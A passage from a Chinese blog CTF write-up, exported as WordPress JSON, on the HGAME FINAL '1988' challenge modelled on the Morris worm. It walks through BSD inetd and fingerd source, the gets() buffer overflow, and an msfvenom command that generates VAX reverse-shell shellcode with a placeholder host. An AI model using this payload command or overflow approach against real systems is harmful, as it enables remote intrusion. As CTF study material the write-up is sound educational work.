{"id":1196,"date":"2024-03-23T17:19:50","date_gmt":"2024-03-23T09:19:50","guid":{"rendered":"https:\/\/www.yizishun.com\/?p=1196"},"modified":"2024-03-25T21:49:00","modified_gmt":"2024-03-25T13:49:00","slug":"hgame-final-1988","status":"publish","type":"post","link":"https:\/\/www.yizishun.com\/?p=1196","title":{"rendered":"HGAME FINAL 1988\uff08\u83ab\u91cc\u65af\u8815\u866b\uff09 wp"},"content":{"rendered":"\n<p>\u611f\u89c9\u4e0d\u662f\u5f88\u7406\u89e3\uff0c\u8fd9\u4e2awp\u4e4b\u540e\u8fd8\u4f1a\u66f4\u65b0\uff0c<a href=\"https:\/\/www.yizishun.com\/index.php\/2024\/03\/23\/hgame-final-1988\/\">HGAME FINAL 1988 wp \u2013 YZS (yizishun.com)<\/a><\/p>\n\n\n\n<p>\u8fc7\u7a0b\u5c31\u662f\u901a\u8fc7\u770b\u90a3\u4e2ablog\uff0c\u4ed6\u5229\u7528\u4e86\u4e24\u4e2a\u6f0f\u6d1e\uff0c1.fingerd\u7684\u7f13\u51b2\u533a\u6ea2\u51fa\u6267\u884c\u4e00\u6bb5shellcode\uff0cshellcode\u6709\u53cd\u5f39shell\u7684\u529f\u80fd\u30022\uff0c\u5229\u7528\u4e00\u4e2a\u90ae\u4ef6\u7684\u6f0f\u6d1e\u63d0\u6743\uff08\u8fd9\u4e2a\u4e0d\u61c2\uff09<\/p>\n\n\n\n<p>\u5177\u4f53\u7684shellcode\u662f\u7528.\/msfvenom -p bsd\/vax\/shell_reverse_tcp lhost=xx.xx.xx.xx &gt; bsd_vax_shell_reverse_tcp.bin\u8fd9\u4e2a\u547d\u4ee4\u751f\u6210\u7684\uff0c\u603b\u4e4b\u8ddf\u968f\u7740blog\u4e2d\u7684\u811a\u6b65\u5c31\u80fd\u505a\u51fa\u6765<\/p>\n\n\n\n<p><strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-green-cyan-color\">\u524d\u8a00<\/mark><\/strong>\uff1a\u6211\u8bb0\u5f97\u6211\u5f53\u65f6\u505a\u5f97\u8fd8\u633a\u96be\u53d7\u7684\uff0c\u5168\u662f\u77e5\u8bc6\u76f2\u533a\uff0c\u518d\u52a0\u4e0a\u6211\u670d\u52a1\u5668\u7684\u95ee\u9898\uff0c\u4e00\u76f4\u5f97\u4e0d\u5230\u53cd\u5f39\u56de\u6765\u7684shell\uff0c\u6700\u540e\u8fd8\u662f\u501f\u4e86l0\u7684\u670d\u52a1\u5668\uff08\u6655\uff0c\u6211\u4e4b\u524d\u5bf9pwn\u7684\u8ba4\u8bc6\u5c31\u662f\u7ed9\u4f60\u4e00\u4e2a\u53ef\u6267\u884c\u6587\u4ef6\uff0c\u7b80\u5355\u9006\u5411\u4e00\u4e0b\uff0c\u627e\u51fa\u91cc\u9762\u7684\u4e00\u4e9b\u6f0f\u6d1e\u70b9\uff0c\u7136\u540e\u7528\u811a\u672c\u628ashell\u6253\u51fa\u6765\uff0c\u8fd9\u6837\u76f4\u63a5\u628a\u6211\u4e22\u8fdb\u4e00\u4e2a\u771f\u5b9e\u7684\u73af\u5883\uff0c\u5728\u771f\u5b9e\u7684\u73af\u5883\u91cc\u9762\u627e\u6587\u4ef6\uff0c\u6216\u8005\u8bf4\u5728\u4e00\u4e9b\u7279\u5b9a\u7684\u60c5\u5883\u4e0b\uff0c\u6bd4\u65b9\u8bf4\u4e4b\u524d\u7ed9\u7684\u53ef\u6267\u884c\u6587\u4ef6\u90fd\u662f\u4e00\u4e9b\u6ca1\u4ec0\u4e48\u7528\u7684\u7a0b\u5e8f\uff0c\u4f46\u662f\u5047\u5982\u662f\u771f\u5b9e\u7684\u7a0b\u5e8f\uff0c\u8fd9\u4e9b\u7a0b\u5e8f\u771f\u6b63\u8dd1\u7684\u662f\u771f\u6b63\u7684\u670d\u52a1\uff0c\u751a\u81f3\u662f\u6211\u4e00\u70b9\u90fd\u4e0d\u4e86\u89e3\u7684web\u670d\u52a1\uff0c\u751a\u81f3\u8fd8\u6709\u63d0\u6743\uff0c\u6211\u4e4b\u524d\u4e5f\u4ece\u6ca1\u89c1\u8fc7\uff0c\u6211\u53ea\u662f\u4e00\u4e2a\u5783\u573e\u7684\uff0c\u53ea\u6253\u8fc7hgame-mini\u548chgame\u7684\u83dc\u9e21\uff0c\u6211\u6ca1\u89c1\u8fc7\u5927\u4e16\u9762\u554a\u545c\u545c\u545c\u545c\uff0c\u4f46\u662f\u6211\u89c9\u5f97\u8fd9\u624d\u662f\u6211\u60f3\u8c61\u7684pwn\uff0c\u4e4b\u524d\u672c\u6765\u5bf9CTF\u90fd\u6709\u4e9b\u5931\u53bb\u6fc0\u60c5\u4e86\uff0c\u5f88\u597d\u5f88\u597d\uff0c\u90a3\u79cd\u6700\u539f\u59cb\u7684\u5174\u594b\u5ffd\u7136\u53c8\u6709\u70b9\u8ba9\u6211\u4e0a\u5934\u4e86\uff08\u5176\u5b9e\u6211\u4f5c\u4e1a\u90fd\u6ca1\u52a8\u4e00\u7b14\uff0c\u660e\u5929\u5c31\u8981\u4ea4\u4e86\uff0c\u53ef\u662f\u6211\u597d\u4e0a\u5934\uff0c\u6211\u73b0\u5728\u6709\u4e00\u79cd\u60f3\u5c06\u8fd9\u4e2a\u83ab\u91cc\u65af\u8815\u866b\u7684\u6240\u6709\u7ec6\u8282\u5168\u90e8\u4e86\u89e3\u6e05\u695a\u7684\u51b2\u52a8\uff0c\u4e0d\u7ba1\u4e86\uff0c\u5230\u65f6\u5019\u6284\u5ba4\u53cb\u7684\u4f5c\u4e1a\u597d\u4e86\uff09<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong><mark data-darkreader-inline-bgcolor=\"\" style=\"background-color: rgba(0, 0, 0, 0); --darkreader-inline-bgcolor: rgba(0, 0, 0, 0);\" class=\"has-inline-color has-vivid-cyan-blue-color\">R<\/mark><mark data-darkreader-inline-bgcolor=\"\" style=\"background-color: rgba(0, 0, 0, 0); --darkreader-inline-bgcolor: rgba(0, 0, 0, 0);\" class=\"has-inline-color has-vivid-cyan-blue-color\">T<\/mark><mark data-darkreader-inline-bgcolor=\"\" style=\"background-color: rgba(0, 0, 0, 0); --darkreader-inline-bgcolor: rgba(0, 0, 0, 0);\" class=\"has-inline-color has-vivid-cyan-blue-color\">F<\/mark><mark data-darkreader-inline-bgcolor=\"\" style=\"background-color: rgba(0, 0, 0, 0); --darkreader-inline-bgcolor: rgba(0, 0, 0, 0);\" class=\"has-inline-color has-vivid-cyan-blue-color\">S<\/mark><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-cyan-blue-color\">C<\/mark><\/strong><\/h2>\n\n\n\n<p>\u5176\u5b9e\u6211\u5f88\u4e0d\u559c\u6b22\u6839\u636e\u6587\u5b57\u63cf\u8ff0\u53bb\u7406\u89e3\u6982\u5ff5\uff0c\u4e0d\u7ba1\u662f\u4e00\u4e9bblog\u6216\u8005\u662fWikipedia\u6216\u591a\u6216\u5c11\u90fd\u662f\u4ece\u522b\u4eba\u7684\u7406\u89e3\u51fa\u53d1\u53bb\u9610\u8ff0\u4e00\u4e2a\u6982\u5ff5\uff0c\u4f46\u662f\u4ece\u54f2\u5b66\u7684\u89d2\u5ea6\u6765\u8bf4\uff0c\u4e00\u4e2a\u5ba2\u89c2\u5b58\u5728\u7684\u7269\u8d28\u5728\u4e0d\u540c\u4eba\u7684\u773c\u4e2d\u90fd\u662f\u4e0d\u540c\u7684\u6837\u5b50\uff0c\u51b5\u4e14\u5f88\u591a\u65f6\u5019blog\u5f88\u591a\u4e0d\u6b62\u4e8c\u624b\u4e86\uff0c\u7275\u626f\u4e86\u8fc7\u591a\u7684\u4e3b\u89c2\u6027\uff0c\u5f88\u591a\u53ef\u80fd\u90fd\u662f\u4e00\u5f00\u59cb\u522b\u4eba\u4e0d\u7406\u89e3\u7684\u5730\u65b9\u7684\u89e3\u91ca\uff0c\u4f46\u662f\u4f60\u5f88\u591a\u4e0d\u7406\u89e3\u7684\u5730\u65b9\u548c\u522b\u4eba\u7684\u4e0d\u4e00\u6837\uff0c\u6240\u4ee5\uff0c\u6211\u89c9\u5f97\u4e86\u89e3\u4e00\u5207\u7ec6\u8282\uff0c\u4e00\u5207\u6982\u5ff5\u7684\u6700\u597d\u7684\u65b9\u6cd5\u5c31\u662fRTFSC\uff0c\u81ea\u5df1\u53bb\u89c2\u5bdf\u90a3\u4e2a\u5ba2\u89c2\u5b58\u5728\u7684\u7269\u8d28\uff0c\u7b2c\u4e8c\u5c31\u662f\u76f8\u5173\u7684paper\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-cyan-blue-color\">inted<\/mark><\/strong><\/h3>\n\n\n\n<p>\u8fd9\u4e2a\u7a0b\u5e8f\u65f6BSD4.3\u5f00\u673a\u81ea\u542f\u7684\u7ba1\u7406\u7a0b\u5e8f\uff0c\u4e3b\u8981\u662f\u5bf9\u6240\u6709\u7aef\u53e3\u8fdb\u884c\u76d1\u542c\uff0c\u5e76\u8fdb\u884c\u4e8b\u4ef6\u5206\u53d1<\/p>\n\n\n\n<p>\u7b2c\u4e00\u6b21\u770b\u5230\u5168\u662f\u7531syscall\u5199\u7684\u7a0b\u5e8f\uff0c\u56de\u60f3pa3\u5199NDL\u7684\u65f6\u5019\u5faa\u73af\u8c03\u7528syscall hhhh\uff0c\u8fd9\u4e2a\u7a0b\u5e8f\u8fc7\u957f\uff0c\u6211\u8fd8\u662f\u4e0egpt\u8054\u624b\u5206\u6790\u624d\u770b\u61c2\u4e86\u76ae\u6bdb\uff0c\u5bf9\u4e8e\u8fd9\u79cd\u5168\u662fsyscall\u7684\u7a0b\u5e8f\u5176\u5b9e\u5f88\u597d\u8bfb\uff0c\u4e3a\u4ec0\u4e48\u8fd9\u4e48\u5462\uff0c\u8fd9\u79cd\u7a0b\u5e8f\u5c31\u662f\u81ea\u5e26strace\uff0c\u5e76\u4e14\u4ed6\u7684strace\u8fd8\u6709\u903b\u8f91\uff0c\u4f60\u770b\u5728\u666e\u901alinux\u7528strace\u5176\u5b9e\u53ef\u8bfb\u6027\u5e76\u4e0d\u597d\uff0c\u6240\u4ee5\u53ea\u9700\u8981\u5206\u6790\u5176\u7279\u5b9a\u7684\u51e0\u4e2asyscall\u5373\u53ef<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"804\" height=\"561\" src=\"https:\/\/www.yizishun.com\/wp-content\/uploads\/2024\/03\/image-7.png\" alt=\"\" class=\"wp-image-1219\" srcset=\"https:\/\/www.yizishun.com\/wp-content\/uploads\/2024\/03\/image-7.png 804w, https:\/\/www.yizishun.com\/wp-content\/uploads\/2024\/03\/image-7-300x209.png 300w, https:\/\/www.yizishun.com\/wp-content\/uploads\/2024\/03\/image-7-768x536.png 768w\" sizes=\"auto, (max-width: 804px) 100vw, 804px\" \/><\/figure>\n\n\n\n<p>\u8fd9\u662finted\u4e00\u4e2a\u5927\u5faa\u73af\uff0c\u8fd9\u4e2a\u5927\u5faa\u73af\u7684\u7b2c\u4e00\u6b65\u5c31\u662f\u7528select\uff082\uff09\uff08l0\u5b66\u957f\uff0c\u8fd9\u4e2a2\u5176\u5b9e\u662fman 2 select\u7684\u610f\u601d\uff0csyscall\u7684\u63cf\u8ff0\u90fd\u5728linux\u76842\u53f7\u624b\u518c\u4e2d\uff09\u7cfb\u7edf\u8c03\u7528\u5bf9\u6240\u6709\u670d\u52a1\u7684\u5957\u63a5\u5b57\u7684fd\u8fdb\u884c\u4e00\u904d\u68c0\u6d4b\uff0c\u770b\u54ea\u4e2a\u7aef\u53e3\u6709\u65b0\u7684\u8bf7\u6c42\u8fde\u63a5\u7b49\u4e8b\u4ef6\u53d1\u751f<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"912\" height=\"762\" src=\"https:\/\/www.yizishun.com\/wp-content\/uploads\/2024\/03\/image-8.png\" alt=\"\" class=\"wp-image-1220\" srcset=\"https:\/\/www.yizishun.com\/wp-content\/uploads\/2024\/03\/image-8.png 912w, https:\/\/www.yizishun.com\/wp-content\/uploads\/2024\/03\/image-8-300x251.png 300w, https:\/\/www.yizishun.com\/wp-content\/uploads\/2024\/03\/image-8-768x642.png 768w\" sizes=\"auto, (max-width: 912px) 100vw, 912px\" \/><\/figure>\n\n\n\n<p>\u8fd9\u4e00\u6bb5\u6700\u4e3b\u8981\u7684syscall\u662faccept\uff0c\u8fd9\u4e2asyscall\u5bf9\u4e0a\u9762select\u5230\u7684fd\u8fdb\u884c\u8fde\u63a5\uff0c\u8fd4\u56de\u4e00\u4e2a\u65b0\u7684fd\uff0c\u8fd9\u4e2afd\u7528\u6765\u4e0e\u5916\u90e8\u8fdb\u884c\u8fde\u63a5\uff0c\u5e76\u4e14\u539ffd\u4e0d\u53d7\u5f71\u54cd\uff0c\u8fd8\u5904\u4e8e\u76d1\u542c\u72b6\u6001\uff0c\u8fd9\u4f7f\u5f97fingerd\u5728\u8fd0\u884c\u65f6\uff0cinted\u4e0d\u4f1a\u505c\u6389<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"681\" height=\"1024\" src=\"https:\/\/www.yizishun.com\/wp-content\/uploads\/2024\/03\/image-9-681x1024.png\" alt=\"\" class=\"wp-image-1221\" srcset=\"https:\/\/www.yizishun.com\/wp-content\/uploads\/2024\/03\/image-9-681x1024.png 681w, https:\/\/www.yizishun.com\/wp-content\/uploads\/2024\/03\/image-9-200x300.png 200w, https:\/\/www.yizishun.com\/wp-content\/uploads\/2024\/03\/image-9-768x1154.png 768w, https:\/\/www.yizishun.com\/wp-content\/uploads\/2024\/03\/image-9.png 895w\" sizes=\"auto, (max-width: 681px) 100vw, 681px\" \/><\/figure>\n\n\n\n<p>\u8fd9\u4e00\u6bb5\u7684\u5173\u952esyscall\u662ffork\uff0cfork\u7684\u8fd4\u56de\u503c\u5982\u679c\u662f0\u8bf4\u660e\u73b0\u5728\u662f\u5904\u4e8e\u5b50\u8fdb\u7a0b\uff08fork\u4f1a\u521b\u5efa\u4e00\u4e2a\u548c\u4e4b\u524d\u5b8c\u5168\u76f8\u540c\u7684\u8fdb\u7a0b\u5f00\u59cb\u8fd0\u884c\uff0c\u6240\u4ee5\u5728\u6e90\u4ee3\u7801\u4e2d\u9700\u8981\u8fdb\u884c\u5206\u7c7b\u8ba8\u8bba\uff09\uff0c\u5728\u5b50\u8fdb\u7a0b\u4e2d\u5c06\u4e0a\u9762accept\u83b7\u5f97fd\u7528dup2\u7cfb\u7edf\u8c03\u7528\u590d\u5236\u5230stdin\uff0cout\uff0cerr\u4e0a\u9762\uff0c\u4f7f\u5f97\u540e\u7eed\u7684\u8c03\u7528\u670d\u52a1\u7a0b\u5e8f\u80fd\u901a\u8fc7\u7b80\u5355\u7684stdin\uff0cout\uff0cerr\u4e0e\u5916\u90e8\u8fdb\u884c\u901a\u4fe1\uff08\u8fd9\u5c31\u662f\u4e3a\u4ec0\u4e48gets\u7684\u539f\u56e0\u5427\uff0c\u5982\u679c\u6ca1\u6709\u8fd9\u4e00\u6b65\u90a3\u4e48\u5728\u540e\u7eed\u7684\u670d\u52a1\u7a0b\u5e8f\u4e2d\u5c31\u9700\u8981\u8fdb\u884cwrite\uff0cread\u6765\u8fdb\u884c\u4ea4\u4e92\u4e86\uff0c\u8fd9\u6837\u633a\u9ebb\u70e6\u7684\uff09<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"854\" height=\"997\" src=\"https:\/\/www.yizishun.com\/wp-content\/uploads\/2024\/03\/image-10.png\" alt=\"\" class=\"wp-image-1224\" srcset=\"https:\/\/www.yizishun.com\/wp-content\/uploads\/2024\/03\/image-10.png 854w, https:\/\/www.yizishun.com\/wp-content\/uploads\/2024\/03\/image-10-257x300.png 257w, https:\/\/www.yizishun.com\/wp-content\/uploads\/2024\/03\/image-10-768x897.png 768w\" sizes=\"auto, (max-width: 854px) 100vw, 854px\" \/><\/figure>\n\n\n\n<p>\u8fd9\u91cc\u7684\u5173\u952esyscall\u5c31\u662fexecv\u4e86\uff0c\u4e5f\u5c31\u662f\u5c06\u4e8b\u4ef6\u5206\u53d1\u7ed9\u76f8\u5e94\u7aef\u53e3\u7684\u7a0b\u5e8f\uff08c\u8bed\u8a00\u7684\u9762\u5411\u5bf9\u8c61\u7f16\u7a0b\uff09<\/p>\n\n\n\n<p>\u6574\u4e2a\u6587\u4ef6\u6709\u8fd11000\u884c\uff0c\u4f46\u662f\u4e3b\u8981\u903b\u8f91\u4e0d\u8fc7\u5c31\u662f\u4e0a\u8ff0\u7684\u51e0\u4e2asyscall<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-cyan-blue-color\">fingerd<\/mark><\/strong><\/h3>\n\n\n\n<p>fingerd\u662ffinger\u7a0b\u5e8f\u7684\u52a0\u8f7d\u7a0b\u5e8f\uff0c\u540e\u9762\u52a0\u4e2ad\u7684\u7a0b\u5e8f\u4e00\u822c\u90fd\u662f\u52a0\u8f7d\u7a0b\u5e8f\uff08\u5305\u62ec\u524d\u9762\u7684inted\uff09\uff0c\u77ed\u77ed100\u884c\u4e0d\u5230<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"750\" height=\"442\" src=\"https:\/\/www.yizishun.com\/wp-content\/uploads\/2024\/03\/image-11.png\" alt=\"\" class=\"wp-image-1229\" srcset=\"https:\/\/www.yizishun.com\/wp-content\/uploads\/2024\/03\/image-11.png 750w, https:\/\/www.yizishun.com\/wp-content\/uploads\/2024\/03\/image-11-300x177.png 300w\" sizes=\"auto, (max-width: 750px) 100vw, 750px\" \/><\/figure>\n\n\n\n<p>\u9996\u5148\u901a\u8fc7getpeername\u7cfb\u7edf\u8c03\u7528\u83b7\u5f97\u5f53\u524dsockfd\u5bf9\u9762\u90a3\u4e2a\u4eba\u7684\u5404\u79cd\u4fe1\u606f\u5b58\u5728sin\u548ci\u4e2d\uff0c\u4e4b\u524dblog\u4e2d\u8981\u5c06\u8fd9\u4e2a\u6ce8\u91ca\u6389\u7684\u539f\u56e0\u662fstdin\uff080\u53f7fd\uff09\u6ca1\u6709\u88ab\u8bbe\u7f6e\u4e3a\u8fdc\u7a0b\u7684fd\uff0c\u4ed6\u53ea\u662f\u6d4b\u8bd5\u8fd9\u4e00\u4e2a\u6587\u4ef6\uff0c\u6240\u4ee5\u7528\u666e\u901a\u7684stdin\u5373\u53ef\uff0c\u5176\u5b9e\u8fd9\u91cc\u53ef\u4ee5\u770b\u51fastdin\u5e76\u4e0d\u5173\u5fc3\u81ea\u5df1\u7a76\u7adf\u662f\u4ec0\u4e48\uff0c\u662f\u4ece\u952e\u76d8\u4e0a\u8f93\u5165\u4ea6\u6216\u662f\u8fdc\u7a0b\u7684\u8f93\u5165<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"970\" height=\"737\" src=\"https:\/\/www.yizishun.com\/wp-content\/uploads\/2024\/03\/image-12.png\" alt=\"\" class=\"wp-image-1230\" srcset=\"https:\/\/www.yizishun.com\/wp-content\/uploads\/2024\/03\/image-12.png 970w, https:\/\/www.yizishun.com\/wp-content\/uploads\/2024\/03\/image-12-300x228.png 300w, https:\/\/www.yizishun.com\/wp-content\/uploads\/2024\/03\/image-12-768x584.png 768w\" sizes=\"auto, (max-width: 970px) 100vw, 970px\" \/><\/figure>\n\n\n\n<p>\u547d\u4ee4\u89e3\u6790\uff0c\u901a\u8fc7\u5c06\u7528\u6237\u4f20\u8fc7\u6765\u7684\u4fe1\u606fgets\u5230line\u6570\u7ec4\u4e2d\uff08<mark data-darkreader-inline-bgcolor=\"\" style=\"background-color: rgba(0, 0, 0, 0); --darkreader-inline-bgcolor: rgba(0, 0, 0, 0);\" class=\"has-inline-color has-vivid-red-color\"><strong>\u8fd9\u91cc\u6709\u6ea2\u51fa\u6f0f\u6d1e<\/strong><\/mark>\uff09\uff0c\u901a\u8fc7\u4e00\u4e2a\u5faa\u73af\u89e3\u6790line\u6570\u7ec4\uff0c\u4ece\u4e2d\u89e3\u6790\u51fa\u4f20\u7ed9finger\u7a0b\u5e8f\u7684\u53c2\u6570\u7b49\uff0c\u5b58\u5728av\u6570\u7ec4\u4e2d<\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"839\" height=\"893\" src=\"https:\/\/www.yizishun.com\/wp-content\/uploads\/2024\/03\/image-13.png\" alt=\"\" class=\"wp-image-1231\" style=\"width:839px;height:auto\" srcset=\"https:\/\/www.yizishun.com\/wp-content\/uploads\/2024\/03\/image-13.png 839w, https:\/\/www.yizishun.com\/wp-content\/uploads\/2024\/03\/image-13-282x300.png 282w, https:\/\/www.yizishun.com\/wp-content\/uploads\/2024\/03\/image-13-768x817.png 768w\" sizes=\"auto, (max-width: 839px) 100vw, 839px\" \/><\/figure>\n\n\n\n<p>\u8fd9\u6bb5\u4ee3\u7801\u771f\u662f\u5f00\u773c\u754c\u4e86hhh\uff0c\u8fd9\u4e2a\u7a0b\u5e8ffork\u4e00\u4e2a\u65b0\u7684\u8fdb\u7a0b\u6765\u6267\u884cfinger\u7a0b\u5e8f\uff0c\u901a\u8fc7pipe\u7ba1\u9053\u8fdb\u884c\u8fdb\u7a0b\u901a\u4fe1\uff0c\u5c06\u5199\u7aef\u7ed9\u5b50\u8fdb\u7a0b\uff0c\u5e76\u4e14\u5c06\u5199\u7aef\u7684fd\u76f4\u63a5\u590d\u5236\u7ed9stdout\uff08\u771f\u662feverthing is file\u554a\uff09\uff0c\u53ea\u8981finger\u7a0b\u5e8f\u8f93\u51fa\u5230stdout\u5c31\u4f1a\u7acb\u9a6c\u4f20\u7ed9\u7236\u8fdb\u7a0b\uff08\u7236\u8fdb\u7a0b\u7ad9\u5728\u7ba1\u9053\u7684\u53e6\u4e00\u8fb9\u63a5\u53d7\u6570\u636e\uff09\uff0c\u4e4b\u540e\u7236\u8fdb\u7a0b\u901a\u8fc7\u8f93\u51fa\uff08putchar\uff09\u5230stdout\uff08socketfd\uff09\u5b9e\u73b0\u5c06\u6570\u636e\u4f20\u7ed9\u5916\u90e8\uff0c\u6700\u7ec8\u5c06finger\u7a0b\u5e8f\u7684\u8f93\u51fa\u53d1\u9001\uff08finger\uff08stdout\uff09-&gt;fingerd\uff08stdout\uff09-&gt;socket-&gt;\u5916\u90e8\uff09<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong><mark data-darkreader-inline-bgcolor=\"\" style=\"background-color: rgba(0, 0, 0, 0); --darkreader-inline-bgcolor: rgba(0, 0, 0, 0);\" class=\"has-inline-color has-vivid-cyan-blue-color\">\u9636\u6bb5<\/mark><mark data-darkreader-inline-bgcolor=\"\" style=\"background-color: rgba(0, 0, 0, 0); --darkreader-inline-bgcolor: rgba(0, 0, 0, 0);\" class=\"has-inline-color has-vivid-cyan-blue-color\">\u6027<\/mark><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-cyan-blue-color\">\u603b\u7ed3<\/mark><\/strong><\/h3>\n\n\n\n<p>\u7ec8\u4e8e\u5c06\u8fd9\u4e2a\u5168\u90e8\u641e\u61c2\u4e86\uff0c\u4e00\u5f00\u59cb\u7ed9\u6211\u770bblog\u770b\u7684\u5f88\u96be\u53d7\u7684\u539f\u56e0\u5c31\u662f\u6211\u538b\u6839\u4e0d\u77e5\u9053fingerd\u662f\u4ec0\u4e48\uff0c\u770b\u7684\u96be\u53d7\u5c31\u4f1a\u60f3\u529e\u6cd5\u9003\u907f\uff0c\u4f46\u662f\u9003\u907f\u4e5f\u9003\u4e0d\u4e86\uff08\u6bd4\u8d5b\u9650\u65f6\u7684 555\uff09\uff0c\u7136\u540e\u5c31\u4f1a\u66f4\u96be\u53d7\uff0c\u4e00\u76f4\u5faa\u73af\u96be\u53d7<\/p>\n\n\n\n<p>\u6240\u4ee5\u5c0f\u603b\u7ed3\u4e00\u4e0b\u5427\uff0c\u64cd\u4f5c\u7cfb\u7edf\u542f\u52a8\u65f6\uff0c\u4ee5root\u8fd0\u884cinted\u7a0b\u5e8f\uff0cinted\u7a0b\u5e8f\u901a\u8fc7inted.conf\u6587\u4ef6\u6765\u5728\u4e00\u4e2a\u5927\u5faa\u73af\u4e2d\u68c0\u67e5\u5404\u4e2asocketfd\uff0c\u4e5f\u5c31\u662f\u68c0\u67e5\u5404\u4e2a\u7aef\u53e3\u7684\u60c5\u51b5\uff0c\u770b\u6709\u6ca1\u6709\u5916\u90e8\u7684\u8fde\u63a5\u8bf7\u6c42\u5230\u4e86\u67d0\u4e00\u4e2afd\uff0c\u82e5\u662f\u67d0\u4e2afd\u88abselect\u5230\u4e86\uff0c\u5c31\u901a\u8fc7accept\u590d\u5236\u4e00\u4efd\u8fd9\u4e2afd\u7528\u4f5c\u540e\u7eed\u7684\u901a\u4fe1\uff0c\u4f46\u662f\u539ffd\u4e0d\u4f1a\u53d7\u5230\u5f71\u54cd\uff0c\u6240\u4ee5\u539ffd\u8fd8\u662f\u4f1a\u5728\u6bcf\u6b21\u5faa\u73af\u5f00\u59cb\u65f6\u88ab\u76d1\u542c\u68c0\u6d4b\uff0c\u7d27\u63a5\u7740\u6839\u636e\u83b7\u5f97\u7684fd fork\u4e00\u4e2a\u5b50\u8fdb\u7a0b\uff0c\u8fd9\u4e2a\u5b50\u8fdb\u7a0b\u7684\u6743\u9650\u5e76\u6ca1\u6709root\u6743\u9650\uff0c\u5b50\u8fdb\u7a0b\u6839\u636e\u76f8\u5e94\u7684fd\u8fdb\u884c\u4e8b\u4ef6\u5206\u53d1\uff0c\u8c03\u7528\u76f8\u5e94\u7684handle\u51fd\u6570\uff0c\u4e5f\u5c31\u662ffingerd\uff08\u8bf4\u5b9e\u8bdd\u8fd9\u91cc\u8981\u6211\u5199\u7684\u8bdd\u5c31\u901a\u8fc7\u51fd\u6570\u8c03\u7528\u76f4\u63a5\u8c03\u7528fingerd\u4e86\uff0c\u4f46\u662f\u8fd9\u91cc\u901a\u8fc7\u521b\u5efa\u5b50\u8fdb\u7a0b\uff08\u5305\u62ec\u540e\u9762\u7684finger\u4e5f\u662f\u4e00\u6837\uff09\uff09\uff0c\u4e3b\u8981\u662f\u4e3a\u4e86\u8ba9\u5b50\u8fdb\u7a0b\u7684\u6267\u884c\u4e0d\u4f1a\u62d6\u6162\u7236\u8fdb\u7a0b\u7684\u901f\u5ea6\uff0c\u5e76\u4e14\u5c31\u7b97\u5b50\u8fdb\u7a0b\u5d29\u6e83\u4e86\uff0c\u7236\u8fdb\u7a0b\u4e5f\u4e0d\u4f1a\u5d29\u6e83\uff0c\u63a5\u7740\u5c06\u4e0a\u8ff0accpet\u5230\u7684fd\u590d\u5236\u5230\u5b50\u8fdb\u7a0b\u76840\uff0c1\uff0c2fd\u4e0a\u9762\uff0c\u6700\u540efingerd\u5148gets\u547d\u4ee4\uff0c\u8fdb\u884c\u4e00\u7cfb\u5217\u7684\u8f6c\u5316fork\u5e76\u6267\u884cfinger\u7a0b\u5e8f<\/p>\n\n\n\n<p>\u4e5f\u5c31\u662f\u5f53ncat -v 127.0.0.1 79\uff0cinted\u68c0\u6d4b\u523079\u7aef\u53e3\uff0c\u4e8e\u662f\u8c03\u7528fingerd\uff0c\u7136\u540e\u5c31\u4f1a\u5361\u5728fingerd\u7684gets\uff08\uff09\u51fd\u6570\u76f4\u5230\u7528\u6237\u8f93\u5165\u4e00\u6bb5\u547d\u4ee4\u6216\u8005payload\uff08\u634b\u6e05\u695a\u5c31\u4f1a\u5f88\u8212\u670d\uff09\uff0c\u7136\u540e\u8fd9\u4e00\u6bb5\u8f93\u5165\u662f\u65e0\u9650\u957f\u7684\uff0c\u8fd9\u5176\u5b9e\u5c31\u8f6c\u5316\u4e3a\u4e00\u4e2a\u5f88\u666e\u901a\u7684pwn\u9898\u76ee\u4e86\uff0c\u5e76\u4e14\u83ab\u91cc\u65af\u5f53\u65f6\u5e94\u8be5\u662f\u4e00\u4e2a\u4ec0\u4e48\u5b66\u6821\u7684\u5b66\u751f\uff0c\u4ed6\u80fd\u83b7\u53d6\u5230BSD4.3\u7684\u6e90\u7801\uff0c\u80fd\u83b7\u5f97stack\u7684\u5e03\u5c40\uff0c\u4e4b\u540e\u5c31\u662f\u53ef\u4ee5\u5199shellcode\u5565\u7684\uff0c\u4f46\u662f\u76ee\u6807\u673a\u5668\u662fvax\u67b6\u6784\u7684\uff0c\u6240\u4ee5\u9700\u8981msf\u751f\u6210shellcode\uff08msf\u6211\u521d\u4e00\u5c31\u4e0b\u8f7d\u8fc7\uff0c\u4f46\u662f\u5f53\u65f6\u73a9\u4e0d\u61c2hhhh\uff09<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color 